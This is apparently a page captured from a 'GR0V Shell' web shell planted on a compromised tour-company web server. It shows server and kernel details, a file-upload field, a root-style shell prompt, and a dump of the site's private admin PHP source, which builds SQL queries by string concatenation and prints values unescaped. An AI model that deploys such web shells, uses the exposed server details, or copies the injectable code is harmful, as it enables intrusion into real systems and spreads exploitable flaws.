? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/modules/users/
File Upload :
Current File : /home/admin/public_html/modules/users/list_group.php

<?
session_start();
require_once('../../../config.php');
require_once('../../../libs/MySql.php');
$db=new MySql;
	function get_sub_cat($parent,$option){
		global $user_login,$db;
			$u=$user_login['ID'];
			$access=$user_login['Access'];
			if($parent!=''){
$option.="&nbsp;&nbsp;&nbsp;";
}
$rs=$db->Query("SELECT * FROM usertype where usertype_parent='$parent'");
while($arr=mysql_fetch_array($rs)){
	$id=$arr['usertype_id'];
	$name=$arr['usertype_name'];
	if($parent!=''){	
		echo"<OPTION VALUE=\"$id\">$option $name</OPTION>";
	}else{echo"<OPTION VALUE=\"$id\">-$name</OPTION>";	}

get_sub_cat($arr['usertype_id'],$option);
}//end while

	}
		?>
		<br>
		<script>
			function jsLink(link){
var id=document.webForm.parent_group;
if(id.selectedIndex==-1){
	alert('Select Parent Group');
	id.focus();
}else{
location.href=link;
}
		}//end function

function swapEditPage()
	{
var selector=document.getElementById('parent_group');
//alert(selector.options[selector.selectedIndex].value);	
window.parent.frames[1].location='com_edit_category.php?group_id='+selector.options[selector.selectedIndex].value; 
		}
	function newGroup()
	{
	
var selector=document.getElementById('parent_group');
//alert(selector.options[selector.selectedIndex].value);	
if(selector.selectedIndex!=-1){
window.parent.frames[1].location='add_new_group.php?parent='+selector.options[selector.selectedIndex].value; 
}else{
	window.parent.frames[1].location='add_new_group.php?parent='; 
}
		}
		</script>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<TITLE><?echo $cfg['site_name'];?></TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<META content="" name=Keywords>
<META content="<?echo $cfg['site_name'];?>" name="Description">
<META content="<?echo $cfg['site_name'];?>" name="Author">
<META content="<?echo $cfg['site_name'];?>" name="Copyright">
<LINK href="../../css/backend_style2.css" type="text/css" rel="stylesheet">
<body bgcolor="#EFF5FB">
<SELECT MULTIPLE id="parent_group" name="parent_group" style="width:200px;height:330px;" id="parent" class="backend_inputbox" onchange="swapEditPage()">
<option value="">    หมวดหมู่หลัก   </option>
<? 
		  $space="&nbsp;&nbsp;&nbsp;";
		get_sub_cat($parent='',$space);
	  ?>
</SELECT>
 <input type="button" value=" เพิ่มกลุ่มผู้ใช้  " name="subgroup" onclick="javascript:newGroup();">

T1KUS90T
  root-grov@210.1.60.28:~$